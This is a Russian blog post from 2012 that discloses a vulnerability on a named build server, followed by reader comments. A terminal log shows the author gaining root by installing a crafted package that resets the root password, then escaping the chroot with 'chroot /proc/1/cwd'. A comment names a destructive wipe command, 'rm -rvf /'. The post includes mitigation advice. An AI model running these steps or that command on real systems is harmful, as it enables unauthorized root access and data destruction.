24.03.2012

Капитанство: небезопасный чрут

Все данные, описанные в этом посте, подлинные. Уязвимость на данный момент на конкретном хосте не устранена.

Итак, задача: имеется чрут, используемый для сборки пакетов (соответственно, в нём подмонтирован /proc и /dev), имеется свободное время и желание вылезти на "поверхность" (за пределы чрута в корневую ФС). Прав рута и sudo на всё у нас нету, но зато есть право собирать пакеты и устанавливать в систему. Нужно:
  • получить root
  • выбраться за пределы chroot-а.

Итак… Решение!

# логинимся на сервак со своим логином и паролем
fat0troll@supermassive:~$ ssh agilialinux.ru -p 10001
Last login: Sat Mar 24 16:21:32 2012 from 192.168.1.100
# след предыдущего хулиганства — изменённый /etc/motd/
РЕШЕТО!
# запускаем сборку специально оформленного пакета. Пакет должен явно при установке вызвать passwd нужному пользователю. В данном случае он вызывает passwd fat0troll и passwd root.
fat0troll@master_node:~$ mkpkg -bt /usr/src/BuildTrees/passwd-0.0.0.build_tree.tar.xz -si
Изменение рабочей директории на /tmp/mkpkg_tmp.fat0troll/passwd-0.0.0
Generating dependencies for /tmp/mkpkg_tmp.fat0troll/passwd-0.0.0/passwd (new algorithm)
Package directory /tmp/mkpkg_tmp.fat0troll/passwd-0.0.0/passwd, importing metadata
Import complete, tmpdir = /tmp/mkpkg_tmp.fat0troll/passwd-0.0.0/passwd
outfiledir = /tmp/mpkg-Jey2ij
outldddir = /tmp/mpkg-f5FVKT
objdump: searching from 0
objdump: searched for 1 files
files searching from 0
file searched for 0 files

DEPENDENCIES FOUND:
Writing 0 deps


AgiliaLinux package maker, version 3.16.


No symbolic links were found, so we won't make an installation script.
You can make your own later in ./install/doinst.sh and rebuild the
package if you like.

This next step is optional - you can set the directories in your package
to some sane permissions. If any of the directories in your package have
special permissions, then DO NOT reset them here!

Would you like to reset all directory permissions to 755 (drwxr-xr-x) and
directory ownerships to root.root ([y]es, [n]o)? n

Creating AgiliaLinux package:  /home/fat0troll/.mkpkg/packages/passwd-0.0.0-i686-1.txz

./
install/
install/doinst.sh
install/data.xml
usr/
usr/src/
usr/src/BuildTrees/
usr/src/BuildTrees/passwd-0.0.0.build_tree.tar.xz

AgiliaLinux package /home/fat0troll/.mkpkg/packages/passwd-0.0.0-i686-1.txz created.


Будут обновлены:              
  [1] passwd 0.0.0-1 ==> 0.0.0-1  

Будет освобождено места на диске: 0 байт
Приблизительный размер дельта-обновлений, которые могут быть использованы: 0 байт
Потребуется скачать (максимум): 1 Кб
[1/1] Установка passwd 0.0.0-1: обновление базы данныхВведите новый пароль UNIX:[1/1] Установка passwd 0.0.0-1: выполнено               
Установка завершена.                     
Удаление недоступных пакетов из базы
Удалено пакетов из репозиториев: 1
Выполнение ldconfig
Total icon paths to update: 0
Total GConf schemas to remove: 0
Total GConf schemas to install: 0
Обновление кеша иконок и mime-базы
Синхронизация дискового кеша...
Завершено
Waiting threads to finish: 0 of 1

# тут шелл провисает и мы понимаем, что пришла пора вводить новый пароль!

Повторите ввод нового пароля UNIX: 
# обновлён пароль fat0troll-а.
passwd: пароль успешно обновлён
Введите новый пароль UNIX: 
Повторите ввод нового пароля UNIX: 
# обновлён пароль root-а.
passwd: пароль успешно обновлён
fat0troll@master_node:~$ 

Итак, рут заполучен!

# заползаем под рутом…
fat0troll@supermassive:~$ ssh root@agilialinux.ru -p 10001
root@agilialinux.ru's password: 
Last login: Sat Mar 24 16:17:03 2012 from 192.168.1.100
РЕШЕТО!
# ни прибавить, ни убавить ;)
# Показываем, что у нас есть в нашем чрутовом /
root@master_node:~# ls /
bin/   dev/  home/        lib/  proc/  sbin/  tmp/  var/
boot/  etc/  home.huita/  opt/  root/  sys/   usr/
# А теперь — смертельный номер: чрутаемся наверх!
# Спасибо /proc/-у за это ;-)
root@master_node:~# chroot /proc/1/cwd
root@master_node:/# ls /
bin/   etc/   lib64/       media/  opt/   run/   sys/  var/
boot/  home/  libexec/     mnt/    proc/  sbin/  tmp/
dev/   lib/   lost+found/  nodes/  root/  srv/   usr/
root@master_node:/# 
# FUCK YEAH!

Как избежать такого со своей системой:
  • Запомнить, что chroot — не панацея, и из него можно выбраться.
  • Никогда не давать chroot с примонтированным /proc/ незнакомцам
  • А если и давать — то не злить их ;-)
  • Использовать в качестве сборочных ферм (где наличие /proc — обязательная вещь) виртуалки, например, Xen-овские.
 Данный пост является оповещением об уязвимости. Он будет доставлен владельцу agilialinux.ru. Надеюсь на скорейшее закрытие дыры: я проверю ;-)

9 комментариев:

  1. Ну ты конечно отжег: имея де-факто рутовые права, вылез за пределы chroot'а. А со своей стороны я конечно зря тебя не забанил там - думал, адекватнее будете.

    ОтветитьУдалить
    Ответы
    1. "адекватнее"

      Айк, если бы я был неадекватом, я бы там сделал rm -rvf / --no-preserve-root и спокойно наблюдал за выхлопом ;)

      Удалить
    2. А просто быть умнее и сказать "спасибо за наводку, попробую пофиксить" уже не? О_о

      Айк, ты меня разочаровываешь...

      Удалить
    3. Скажи мне, что тут фиксить? :) Если есть рутовые права (а имея право ставить пакеты - они есть) - значит есть рутовые права :) Это настолько очевидная вещь, что на мой взгляд, понтоваться обнаружением рутовых прав у себя как-то глупо. Фикс тут может заключаться только в отбирании доступа.

      Данная конструкция существует, основываясь на взаимном доверии. Мой косяк тут - в том, что я не исключил из конструкции тех, доверие к которым было нивелировано.

      Удалить
    4. Окай, рви, мечи, бань, не исправляйте косяки %) Хотя тут скорее косяк в mkpkg и mpkg, ну да пофиг %)

      Удалить
    5. ты так и не понял, что я проник на parental system? ты не понял, что из чрута *можно выбраться*?

      Удалить
    6. алсо, обычно за аудит безопасности платят деньги, так что я тут ща благотворительностью занялся.

      И отдельное спасибо скажи за неопубликованные пароли рута от чрута и parental system.

      Удалить
    7. Да понял я что ты вылез из chroot'а. Просто это не новость, что, имея рутовые права, из chroot'а можно вылезти.

      Удалить
  2. Я все это клоню это к тому, что описанная тобою "дырка" равносильна случаю, если бы у тебя изначально был бы рутовый пароль от родительской системы.

    ОтветитьУдалить